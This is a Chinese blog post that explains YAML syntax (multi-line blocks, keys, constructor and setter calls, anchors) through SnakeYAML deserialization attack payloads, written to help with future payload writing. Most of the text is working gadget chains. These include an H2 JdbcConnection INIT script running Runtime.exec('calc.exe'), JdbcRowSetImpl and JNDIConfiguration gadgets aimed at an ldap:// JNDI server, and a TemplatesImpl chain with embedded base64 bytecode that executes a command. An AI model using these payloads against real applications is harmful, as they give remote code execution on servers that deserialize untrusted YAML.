Yaml文件写法总结
1diot9 Lv4

前言

yaml写法很灵活,尤其是多行写法,看起来很简洁。这里总结一下遇到的一些yaml写法,希望能对之后payload的编写有帮助。

Map类型数据

Properties,HashMap这种都属于Map类型,先看下面的例子:

1
2
3
4
5
6
7
8
9
10
!!org.h2.jdbc.JdbcConnection
- jdbc:h2:mem:test
- MODE: MSSQLServer
INIT: |
drop alias if exists exec;
CREATE ALIAS EXEC AS $$void exec() throws Exception {Runtime.getRuntime().exec("calc.exe");}$$;
CALL EXEC ();
- a
- b
- false

JdbcConnection的构造方法如下:JdbcConnection(String url, Properties info, String user, Object password, boolean forbidCreation)

第二个参数就是Properties。其多行写法如上。

对应的单行写法为:!!xxx[{MODE: xxx, INIT: xxx\;xxx\;xxx}],不如多行清楚。

键值对写法

单行

1
{!!xx {} : 0, !!cc {} : 1}

多行

1
2
!!xx {} : 0
!!cc {} : 1

当键为多行复杂类时,需要用?表示键开始:

1
2
3
4
5
? !!org.apache.commons.configuration.ConfigurationMap
- !!org.apache.commons.configuration.JNDIConfiguration
- !!javax.naming.InitialContext []
- "ldap://127.0.0.1:50389/8ebd8d"
: 1

| 的含义

还是上面的例子:

1
2
3
4
5
6
7
8
9
10
!!org.h2.jdbc.JdbcConnection
- jdbc:h2:mem:test
- MODE: MSSQLServer
INIT: |
drop alias if exists exec;
CREATE ALIAS EXEC AS $$void exec() throws Exception {Runtime.getRuntime().exec("calc.exe");}$$;
CALL EXEC ();
- a
- b
- false

INIT后面的 | 是干什么的?

这个代表多行文本块,就是把后面的内容都视为一个整体。这样写看起来会更清晰。

调构造方法

多行时,- 后代表构造函数参数;单号时[]内代表参数

多行

还是上面的例子:

1
2
3
4
5
6
7
8
9
10
!!org.h2.jdbc.JdbcConnection
- jdbc:h2:mem:test
- MODE: MSSQLServer
INIT: |
drop alias if exists exec;
CREATE ALIAS EXEC AS $$void exec() throws Exception {Runtime.getRuntime().exec("calc.exe");}$$;
CALL EXEC ();
- a
- b
- false

单行

!!org.h2.jdbc.JdbcConnection[“jdbc:h2:mem:test;MODE=MSSQLServer;INIT=dropaliasifexistsexec\;CREATEALIASEXECAS$$voidexec()throwsjava.io.IOException{Runtime.getRuntime().exec("calc.exe")\;}$$\;CALLEXEC()\;”,{},”a”,”b”,false]

setter调用

多行

1
2
3
!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: ldap://127.0.0.1:50389/8ebd8d
autoCommit: true

单行

1
!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:50389/8ebd8d, autoCommit: true}

引用类型

yaml中,可以使用&表示创建引用,* 表示调用引用。这个方法有时候能帮助做一下类型转换。以SnakeYaml中JDK原生链为例子:

1
2
3
4
5
6
[
!!com.sun.javafx.iio.ImageFrame [null, null, 0, 0, 0, &A [!!binary "yv66vgAAADQAGQEABFNpbmsHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlAQARamF2YS9sYW5nL1J1bnRpbWUHAAgBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAKAAsKAAkADAEABGNhbGMIAA4BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAQABEKAAkAEgEABjxpbml0PgwAFAAGCgAEABUBAApTb3VyY2VGaWxlAQAJU2luay5qYXZhACEAAgAEAAAAAAACAAgABQAGAAEABwAAABYAAgAAAAAACrgADRIPtgATV7EAAAAAAAEAFAAGAAEABwAAABEAAQABAAAABSq3ABaxAAAAAAABABcAAAACABg="], null],
!!com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter [
!!com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl [*A,"baka",!!java.util.Properties {},!!int 0,!!com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl {}]
]
]

在上面创建&A,表示对[!!binary]的引用。由于上面的构造函数中,&A所在位置对应的数据类型就是byte[][],所以会从ArrayList被转换为byte[][]。原本[!!binary]在snakeyaml反序列化后,类型为ArrayList,是无法进入TemplatesImpl的构造方法的。

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 52.9k 访客数 访问量